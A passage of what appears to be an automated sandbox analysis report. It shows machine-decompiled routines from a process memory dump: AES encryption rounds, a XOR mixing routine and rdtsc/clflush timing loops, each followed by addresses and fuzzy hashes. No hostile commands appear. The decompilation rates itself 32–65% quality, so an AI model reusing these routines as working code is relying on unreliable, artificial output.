                                                                					asm("xorps xmm2, xmm0");
                                                                					asm("movups xmm1, [ebp+0x10]");
                                                                					asm("xorps xmm0, xmm6");
                                                                					asm("xorps xmm3, xmm0");
                                                                					asm("movups xmm0, [ebp+0x20]");
                                                                					do {
                                                                						asm("aesenc xmm2, xmm1");
                                                                						asm("aesenc xmm3, xmm1");
                                                                						asm("movups xmm1, [edx+ecx]");
                                                                						_t30 = _t30 + 0x20;
                                                                						asm("aesenc xmm2, xmm0");
                                                                						asm("aesenc xmm3, xmm0");
                                                                						asm("movups xmm0, [edx+ecx-0x10]");
                                                                					} while (_t30 != 0);
                                                                					asm("aesenc xmm2, xmm1");
                                                                					asm("aesenc xmm3, xmm1");
                                                                					asm("paddq xmm7, [esp+0x10]");
                                                                					_t22 = _t22 - 1;
                                                                					asm("aesenclast xmm2, xmm0");
                                                                					asm("aesenclast xmm3, xmm0");
                                                                					_t35 = _t35 + 0x10;
                                                                					asm("xorps xmm6, xmm2");
                                                                					asm("movdqa xmm2, xmm7");
                                                                					asm("movups [edi], xmm6");
                                                                					asm("pshufb xmm2, xmm5");
                                                                					_t33 = _t33 + 0x10;
                                                                				} while (_t22 != 0);
                                                                				asm("movups [edi], xmm3");
                                                                				asm("pxor xmm0, xmm0");
                                                                				asm("pxor xmm1, xmm1");
                                                                				asm("pxor xmm2, xmm2");
                                                                				asm("pxor xmm3, xmm3");
                                                                				asm("pxor xmm4, xmm4");
                                                                				asm("pxor xmm5, xmm5");
                                                                				asm("pxor xmm6, xmm6");
                                                                				asm("pxor xmm7, xmm7");
                                                                				return _t22;
                                                                			}


















                                                                0x00ab9034
                                                                0x00ab9038
                                                                0x00ab903c
                                                                0x00ab9054
                                                                0x00ab9058
                                                                0x00ab905c
                                                                0x00ab9066
                                                                0x00ab906d
                                                                0x00ab9075
                                                                0x00ab907d
                                                                0x00ab908c
                                                                0x00ab9090
                                                                0x00ab9094
                                                                0x00ab9098
                                                                0x00ab90a6
                                                                0x00ab90ab
                                                                0x00ab90b3
                                                                0x00ab90b5
                                                                0x00ab90ba
                                                                0x00ab90ba
                                                                0x00ab90be
                                                                0x00ab90c0
                                                                0x00ab90c3
                                                                0x00ab90c6
                                                                0x00ab90ca
                                                                0x00ab90cd
                                                                0x00ab90d0
                                                                0x00ab90d4
                                                                0x00ab90d4
                                                                0x00ab90d9
                                                                0x00ab90de
                                                                0x00ab90e2
                                                                0x00ab90e5
                                                                0x00ab90ea
                                                                0x00ab90ef
                                                                0x00ab90ef
                                                                0x00ab90fa
                                                                0x00ab90ff
                                                                0x00ab9104
                                                                0x00ab910a
                                                                0x00ab910b
                                                                0x00ab9110
                                                                0x00ab9115
                                                                0x00ab9118
                                                                0x00ab911b
                                                                0x00ab911f
                                                                0x00ab9122
                                                                0x00ab9127
                                                                0x00ab9127
                                                                0x00ab9138
                                                                0x00ab913b
                                                                0x00ab913f
                                                                0x00ab9143
                                                                0x00ab9147
                                                                0x00ab914b
                                                                0x00ab914f
                                                                0x00ab9153
                                                                0x00ab9157
                                                                0x00ab915f

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 60a23c78da3b6716c584f250082441a8c334e7b2b212062c327525d921f6641d
                                                                • Instruction ID: 1777433a06b996d4915b6294a8eb63801e4e91cbb0f45fadd4296f25d01e2f3b
                                                                • Opcode Fuzzy Hash: 60a23c78da3b6716c584f250082441a8c334e7b2b212062c327525d921f6641d
                                                                • Instruction Fuzzy Hash: EA316C3480CB9A97D7029F39C441567F7A0BFAA258F00CB1EED9433661D771BA84AA52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 44%
                                                                			E00AC2100(signed int __ecx, void* __edx, void* __edi, void* __esi) {
                                                                				void* _t3;
                                                                				void* _t4;
                                                                				void* _t6;
                                                                				void* _t7;
                                                                				void* _t8;
                                                                				void* _t10;
                                                                				void* _t11;
                                                                				void* _t13;
                                                                				void* _t14;
                                                                				void* _t18;
                                                                				void* _t20;
                                                                				void* _t21;
                                                                				void* _t26;
                                                                				void* _t28;
                                                                				void* _t34;
                                                                
                                                                				_t28 = __edi;
                                                                				_t26 = __edx;
                                                                				_t25 = __ecx;
                                                                				asm("movdqu xmm0, [esi]");
                                                                				asm("movdqa xmm2, [ebp+0x140]");
                                                                				asm("movdqa xmm3, xmm0");
                                                                				asm("movdqa [esp+0x4], xmm2");
                                                                				_t4 = E00AC2370(_t3);
                                                                				asm("movdqa xmm7, xmm0");
                                                                				if(__edi != 0) {
                                                                					asm("movdqa xmm1, [ebp+ecx+0x100]");
                                                                					asm("pshufb xmm3, xmm1");
                                                                					asm("movdqu [edx], xmm3");
                                                                					_t25 = __ecx ^ 0x00000030;
                                                                				} else {
                                                                					asm("movdqu [edx], xmm0");
                                                                				}
                                                                				_t34 = _t4 - 0xc0;
                                                                				if(_t34 > 0) {
                                                                					asm("movdqu xmm0, [esi+0x10]");
                                                                					E00AC2370(_t4);
                                                                					_t6 = 7;
                                                                					while(1) {
                                                                						_t7 = E00AC23A0(_t6, _t25, _t26, _t28);
                                                                						asm("movdqa xmm6, xmm0");
                                                                						_t8 = E00AC22A0(_t7);
                                                                						_t9 = _t8 == 1;
                                                                						if(_t8 == 1) {
                                                                							goto L14;
                                                                						}
                                                                						_t11 = E00AC23A0(_t9, _t25, _t26, _t28);
                                                                						asm("pshufd xmm0, xmm0, 0xff");
                                                                						asm("movdqa [esp+0x14], xmm7");
                                                                						asm("movdqa xmm7, xmm6");
                                                                						_t6 = E00AC22CB(_t11);
                                                                						asm("movdqa xmm7, [esp+0x14]");
                                                                					}
                                                                				} else {
                                                                					if(_t34 == 0) {
                                                                						asm("movdqu xmm0, [esi+0x8]");
                                                                						E00AC2370(_t4);
                                                                						asm("movdqa xmm6, xmm0");
                                                                						asm("pxor xmm4, xmm4");
                                                                						asm("movhlps xmm6, xmm4");
                                                                						_t13 = 4;
                                                                						while(1) {
                                                                							_t14 = E00AC22A0(_t13);
                                                                							asm("palignr xmm0, xmm6, 0x8");
                                                                							_t18 = E00AC22A0(E00AC23A0(E00AC2280(E00AC23A0(_t14, _t25, _t26, _t28)), _t25, _t26, _t28));
                                                                							_t9 = _t18 == 1;
                                                                							if(_t18 == 1) {
                                                                								goto L14;
                                                                							}
                                                                							_t13 = E00AC2280(E00AC23A0(_t9, _t25, _t26, _t28));
                                                                						}
                                                                					} else {
                                                                						_t20 = 0xa;
                                                                						while(1) {
                                                                							_t21 = E00AC22A0(_t20);
                                                                							_t9 = _t21 == 1;
                                                                							if(_t21 == 1) {
                                                                								goto L14;
                                                                							}
                                                                							_t20 = E00AC23A0(_t9, _t25, _t26, _t28);
                                                                						}
                                                                					}
                                                                				}
                                                                				L14:
                                                                				if(_t28 == 0) {
                                                                					asm("movdqa xmm1, [ebp+ecx+0x100]");
                                                                					asm("pshufb xmm0, xmm1");
                                                                					_t26 = _t26 + 0x20;
                                                                				}
                                                                				asm("pxor xmm0, [ebp+0x150]");
                                                                				_t10 = E00AC2370(_t9);
                                                                				asm("movdqu [edx], xmm0");
                                                                				asm("pxor xmm0, xmm0");
                                                                				asm("pxor xmm1, xmm1");
                                                                				asm("pxor xmm2, xmm2");
                                                                				asm("pxor xmm3, xmm3");
                                                                				asm("pxor xmm4, xmm4");
                                                                				asm("pxor xmm5, xmm5");
                                                                				asm("pxor xmm6, xmm6");
                                                                				asm("pxor xmm7, xmm7");
                                                                				return _t10;
                                                                			}


















                                                                0x00ac2100
                                                                0x00ac2100
                                                                0x00ac2100
                                                                0x00ac2103
                                                                0x00ac2107
                                                                0x00ac210f
                                                                0x00ac2116
                                                                0x00ac211c
                                                                0x00ac2121
                                                                0x00ac2127
                                                                0x00ac2136
                                                                0x00ac213f
                                                                0x00ac2144
                                                                0x00ac2148
                                                                0x00ac212d
                                                                0x00ac212d
                                                                0x00ac212d
                                                                0x00ac214b
                                                                0x00ac2150
                                                                0x00ac21d0
                                                                0x00ac21d5
                                                                0x00ac21da
                                                                0x00ac21df
                                                                0x00ac21df
                                                                0x00ac21e4
                                                                0x00ac21e8
                                                                0x00ac21ed
                                                                0x00ac21ee
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac21f4
                                                                0x00ac21f9
                                                                0x00ac21fe
                                                                0x00ac2204
                                                                0x00ac2208
                                                                0x00ac220d
                                                                0x00ac220d
                                                                0x00ac2156
                                                                0x00ac2156
                                                                0x00ac2180
                                                                0x00ac2185
                                                                0x00ac218a
                                                                0x00ac218e
                                                                0x00ac2192
                                                                0x00ac2195
                                                                0x00ac219a
                                                                0x00ac219a
                                                                0x00ac219f
                                                                0x00ac21b4
                                                                0x00ac21b9
                                                                0x00ac21ba
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac21c5
                                                                0x00ac21c5
                                                                0x00ac215c
                                                                0x00ac215c
                                                                0x00ac2161
                                                                0x00ac2161
                                                                0x00ac2166
                                                                0x00ac2167
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac216d
                                                                0x00ac216d
                                                                0x00ac2161
                                                                0x00ac2156
                                                                0x00ac2220
                                                                0x00ac2228
                                                                0x00ac222e
                                                                0x00ac2237
                                                                0x00ac2242
                                                                0x00ac2242
                                                                0x00ac2248
                                                                0x00ac2250
                                                                0x00ac2255
                                                                0x00ac2259
                                                                0x00ac225d
                                                                0x00ac2261
                                                                0x00ac2265
                                                                0x00ac2269
                                                                0x00ac226d
                                                                0x00ac2271
                                                                0x00ac2275
                                                                0x00ac2279

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1bd6ee22b8be88284ea3de3379d93d189bee9a2acde73ad58f94725c0800f69d
                                                                • Instruction ID: 71a3bfad796c2906765bf906549b59f9cc28edc112a61fb6f8a46443a1a28a06
                                                                • Opcode Fuzzy Hash: 1bd6ee22b8be88284ea3de3379d93d189bee9a2acde73ad58f94725c0800f69d
                                                                • Instruction Fuzzy Hash: 79212C34914F8981E7236B789A43BAAE320AFA6344F56D31EF9D439952EF2847846311
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 32%
                                                                			E00ABCA70() {
                                                                				signed char* _t28;
                                                                				signed char _t36;
                                                                				unsigned int _t41;
                                                                				void* _t45;
                                                                				signed int* _t46;
                                                                				signed char* _t48;
                                                                				void* _t49;
                                                                				signed int* _t50;
                                                                				void* _t52;
                                                                				void* _t53;
                                                                
                                                                				_t36 =  *(_t52 + 0x10);
                                                                				_t48 =  *(_t52 + 0xc);
                                                                				_t3 =  &(_t48[0x28]); // 0x50560000
                                                                				_t28 =  *_t3;
                                                                				 *(_t52 + 0xc) = _t28;
                                                                				if(_t36 != 0) {
                                                                					_t5 =  &(_t48[0x2c]); // 0x8edae8
                                                                					 *_t48 =  *_t48 | 0x00000040;
                                                                					_t6 =  &(_t48[0x10]); // 0xab40e5
                                                                					_t46 = _t6;
                                                                					 *_t28(_t48, _t46,  *_t5, _t45, _t49);
                                                                					_t53 = _t52 + 0xc;
                                                                					_t48[0x20] = _t48[0x20] + 1;
                                                                					_t41 = _t36;
                                                                					asm("adc dword [esi+0x24], 0x0");
                                                                					if(_t36 >= 0xff00) {
                                                                						_t48[0x11] = _t48[0x11] ^ 0x000000fe;
                                                                						 *_t46 =  !( *_t46);
                                                                						_t48[0x14] = _t48[0x14] ^ _t36 >> 0x00000008;
                                                                						_t48[0x12] = _t48[0x12] ^ _t36 >> 0x00000018;
                                                                						_t48[0x13] = _t48[0x13] ^ _t41 >> 0x00000010;
                                                                						_t48[0x15] = _t48[0x15] ^ _t36;
                                                                						_t34 = 6;
                                                                					} else {
                                                                						 *_t46 =  *_t46 ^ _t41 >> 0x00000008;
                                                                						_t48[0x11] = _t48[0x11] ^ _t36;
                                                                						_t34 = 2;
                                                                					}
                                                                					_t50 =  *(_t53 + 0x18);
                                                                					do {
                                                                						if(_t34 >= 0x10) {
                                                                							goto L8;
                                                                						}
                                                                						while(_t36 != 0) {
                                                                							 *(_t46 + _t34) =  *(_t46 + _t34) ^  *_t50;
                                                                							_t34 = _t34 + 1;
                                                                							_t50 =  &(_t50[0]);
                                                                							_t36 = _t36 - 1;
                                                                							if(_t34 < 0x10) {
                                                                								continue;
                                                                							}
                                                                							goto L8;
                                                                						}
                                                                						L8:
                                                                						_t24 =  &(_t48[0x2c]); // 0x8edae8
                                                                						 *((intOrPtr*)(_t53 + 0x20))(_t46, _t46,  *_t24);
                                                                						_t53 = _t53 + 0xc;
                                                                						_t48[0x20] = _t48[0x20] + 1;
                                                                						_t34 = 0;
                                                                						asm("adc [esi+0x24], eax");
                                                                					} while (_t36 != 0);
                                                                					return 0;
                                                                				}
                                                                				return _t28;
                                                                			}













                                                                0x00abca71
                                                                0x00abca76
                                                                0x00abca7a
                                                                0x00abca7a
                                                                0x00abca7d
                                                                0x00abca83
                                                                0x00abca89
                                                                0x00abca8c
                                                                0x00abca92
                                                                0x00abca92
                                                                0x00abca97
                                                                0x00abca99
                                                                0x00abca9c
                                                                0x00abcaa0
                                                                0x00abcaa2
                                                                0x00abcaac
                                                                0x00abcabf
                                                                0x00abcac5
                                                                0x00abcace
                                                                0x00abcad4
                                                                0x00abcada
                                                                0x00abcadd
                                                                0x00abcae0
                                                                0x00abcaae
                                                                0x00abcab1
                                                                0x00abcab3
                                                                0x00abcab6
                                                                0x00abcab6
                                                                0x00abcae5
                                                                0x00abcaf0
                                                                0x00abcaf3
                                                                0x00000000
                                                                0x00000000
                                                                0x00abcaf5
                                                                0x00abcafc
                                                                0x00abcaff
                                                                0x00abcb00
                                                                0x00abcb01
                                                                0x00abcb05
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abcb05
                                                                0x00abcb07
                                                                0x00abcb07
                                                                0x00abcb0d
                                                                0x00abcb11
                                                                0x00abcb14
                                                                0x00abcb18
                                                                0x00abcb1d
                                                                0x00abcb20
                                                                0x00000000
                                                                0x00abcb25
                                                                0x00abcb28

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: aec08d149ecfa6be2b40e01b4dc94bad01a90ea383ffb5275a71a76fa15f278e
                                                                • Instruction ID: 9996eb49d0835562390e06a3a6aca1c1eeb8d1f5d36730c34f0b464010432dd5
                                                                • Opcode Fuzzy Hash: aec08d149ecfa6be2b40e01b4dc94bad01a90ea383ffb5275a71a76fa15f278e
                                                                • Instruction Fuzzy Hash: 87219F311097C15BD331CF29C884AABBBE5EB86324F544A6DD8D687A43D734AA0DC752
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c9f9df6a7e79ad2ab753228a9f3152c45f60fa4086fa6ce7dd1644e308b67909
                                                                • Instruction ID: 7abe2109b36cad11134414bc5ab031c16e62fc63544d187622d3db1aaca73acb
                                                                • Opcode Fuzzy Hash: c9f9df6a7e79ad2ab753228a9f3152c45f60fa4086fa6ce7dd1644e308b67909
                                                                • Instruction Fuzzy Hash: 451151D9C2AFB906E723633B5D42242DA105EF7989550D347FCB439D61F701B5C17210
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 65%
                                                                			E00AC3B00(void* __eflags) {
                                                                				void* _t10;
                                                                				void* _t14;
                                                                				intOrPtr _t15;
                                                                				void* _t18;
                                                                				intOrPtr _t21;
                                                                				void* _t23;
                                                                				intOrPtr _t24;
                                                                				void* _t25;
                                                                				void* _t28;
                                                                
                                                                				asm("bt dword [edx], 0x4");
                                                                				if(__eflags < 0) {
                                                                					asm("bt dword [edx], 0x13");
                                                                					if(__eflags < 0) {
                                                                						_t21 =  *((intOrPtr*)(_t25 + 0x14));
                                                                						_t15 =  *((intOrPtr*)(_t25 + 0x18));
                                                                						_t24 =  *((intOrPtr*)(_t25 + 0x1c));
                                                                						asm("rdtsc");
                                                                						asm("clflush [edi]");
                                                                						asm("lock add [edi], ebx");
                                                                						asm("rdtsc");
                                                                						_t10 = 0;
                                                                						_t23 = 0;
                                                                						_t14 = 0;
                                                                						while(1) {
                                                                							asm("clflush [edi]");
                                                                							asm("lock add [edi], eax");
                                                                							_t24 = _t24 - 1;
                                                                							if(_t24 == 0) {
                                                                								break;
                                                                							}
                                                                							asm("rdtsc");
                                                                							_t18 = _t10;
                                                                							_t10 = _t10 - _t23;
                                                                							_t23 = _t18;
                                                                							_t28 = _t10 - _t14;
                                                                							_t14 = _t10;
                                                                							_t15 = _t15;
                                                                							_t21 = _t21 + (0 | _t28 != 0x00000000) * 4;
                                                                							if(_t15 != 0) {
                                                                								continue;
                                                                							}
                                                                							break;
                                                                						}
                                                                						return  *((intOrPtr*)(_t25 + 0x18)) - _t15;
                                                                					}
                                                                				}
                                                                				return 0;
                                                                			}












                                                                0x00ac3b0f
                                                                0x00ac3b13
                                                                0x00ac3b19
                                                                0x00ac3b1d
                                                                0x00ac3b23
                                                                0x00ac3b27
                                                                0x00ac3b2b
                                                                0x00ac3b2f
                                                                0x00ac3b38
                                                                0x00ac3b3b
                                                                0x00ac3b3e
                                                                0x00ac3b42
                                                                0x00ac3b44
                                                                0x00ac3b46
                                                                0x00ac3b50
                                                                0x00ac3b50
                                                                0x00ac3b53
                                                                0x00ac3b56
                                                                0x00ac3b59
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3b5f
                                                                0x00ac3b61
                                                                0x00ac3b63
                                                                0x00ac3b65
                                                                0x00ac3b67
                                                                0x00ac3b69
                                                                0x00ac3b73
                                                                0x00ac3b75
                                                                0x00ac3b78
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3b78
                                                                0x00000000
                                                                0x00ac3b82
                                                                0x00ac3b1d
                                                                0x00ac3b88

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a36f6bfd5ee40d2fb002aa8f1066219cb7a4a4b2915f4fa7f2d2e04bb7d067a8
                                                                • Instruction ID: c296111f8ee23b5112695c0a7d36ff7990f7bea6f79cb1c5d036f2b2b9a4b666
                                                                • Opcode Fuzzy Hash: a36f6bfd5ee40d2fb002aa8f1066219cb7a4a4b2915f4fa7f2d2e04bb7d067a8
                                                                • Instruction Fuzzy Hash: 7D0181733083524FDB01CE3DA940B96FBE5EB95364F16857CE40AD3205E2719E158791
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 54%
                                                                			E00AC3A90(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                                                                				void* _t5;
                                                                				intOrPtr _t9;
                                                                				void* _t11;
                                                                				intOrPtr _t12;
                                                                				void* _t13;
                                                                
                                                                				_t5 = 0;
                                                                				asm("bt dword [edx], 0x4");
                                                                				if(__eflags < 0) {
                                                                					asm("bt dword [edx], 0x13");
                                                                					if(__eflags < 0) {
                                                                						_t12 = _a4;
                                                                						_t9 = _a8;
                                                                						asm("rdtsc");
                                                                						_t13 = 0;
                                                                						asm("clflush [edi]");
                                                                						asm("lock add [edi], ebx");
                                                                						do {
                                                                							asm("rdtsc");
                                                                							_t11 = _t5;
                                                                							_t5 = _t5 - _t13;
                                                                							_t13 = _t11;
                                                                							asm("clflush [edi]");
                                                                							asm("lock add [edi], eax");
                                                                							_t12 = _t12 + 4;
                                                                							_t9 = _t9 - 1;
                                                                						} while (_t9 != 0);
                                                                						return _a8;
                                                                					}
                                                                				}
                                                                				return _t5;
                                                                			}








                                                                0x00ac3a94
                                                                0x00ac3a9f
                                                                0x00ac3aa3
                                                                0x00ac3aa9
                                                                0x00ac3aad
                                                                0x00ac3ab3
                                                                0x00ac3ab7
                                                                0x00ac3abb
                                                                0x00ac3abd
                                                                0x00ac3ac4
                                                                0x00ac3ac7
                                                                0x00ac3ad0
                                                                0x00ac3ad0
                                                                0x00ac3ad2
                                                                0x00ac3ad4
                                                                0x00ac3ad6
                                                                0x00ac3ada
                                                                0x00ac3add
                                                                0x00ac3ae0
                                                                0x00ac3ae3
                                                                0x00ac3ae3
                                                                0x00000000
                                                                0x00ac3aec
                                                                0x00ac3aad
                                                                0x00ac3af4

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ebfe696988e2043066c0b472b72f31b12254d6bca1b9125dc00dc5224053345e
                                                                • Instruction ID: 151e066e94c64a6e728d28b276a3335408e2d36e723e4ff168e687a175b78897
                                                                • Opcode Fuzzy Hash: ebfe696988e2043066c0b472b72f31b12254d6bca1b9125dc00dc5224053345e
                                                                • Instruction Fuzzy Hash: 31F0E9332043524FD700CE2AE540B93FBE8EB95364F124568E04AC7205C3729E11CBD0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 43%
                                                                			E00AC3880(void* __edx, void* __eflags) {
                                                                				signed int _t2;
                                                                				void* _t4;
                                                                				intOrPtr* _t9;
                                                                				signed int _t12;
                                                                
                                                                				asm("bt dword [ecx], 0x4");
                                                                				if(__eflags >= 0) {
                                                                					L4:
                                                                					__eflags = 0;
                                                                					return 0;
                                                                				} else {
                                                                					_t2 = cs;
                                                                					_t12 = _t2 & 0x00000003;
                                                                					if(_t12 != 0) {
                                                                						goto L4;
                                                                					} else {
                                                                						asm("pushfd");
                                                                						_pop(_t4);
                                                                						asm("bt eax, 0x9");
                                                                						if(_t12 >= 0) {
                                                                							goto L4;
                                                                						} else {
                                                                							asm("rdtsc");
                                                                							_push(_t4);
                                                                							asm("hlt");
                                                                							asm("rdtsc");
                                                                							asm("sbb edx, [esp+0x4]");
                                                                							return _t4 -  *_t9;
                                                                						}
                                                                					}
                                                                				}
                                                                			}







                                                                0x00ac3886
                                                                0x00ac388a
                                                                0x00ac38bb
                                                                0x00ac38bd
                                                                0x00ac38bf
                                                                0x00ac3890
                                                                0x00ac3892
                                                                0x00ac3894
                                                                0x00ac3897
                                                                0x00000000
                                                                0x00ac389d
                                                                0x00ac389d
                                                                0x00ac389e
                                                                0x00ac389f
                                                                0x00ac38a3
                                                                0x00000000
                                                                0x00ac38a9
                                                                0x00ac38a9
                                                                0x00ac38ac
                                                                0x00ac38ad
                                                                0x00ac38ae
                                                                0x00ac38b3
                                                                0x00ac38ba
                                                                0x00ac38ba
                                                                0x00ac38a3
                                                                0x00ac3897

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2c7634a6fef61b5c31b8999e8d2268d1a0c363eb445558ea8e88d114d6e9d4d9
                                                                • Instruction ID: 9cd4a32419327d11beae8cd1f423df5b05548e18695a7f36eec29a8da6129c7e
                                                                • Opcode Fuzzy Hash: 2c7634a6fef61b5c31b8999e8d2268d1a0c363eb445558ea8e88d114d6e9d4d9
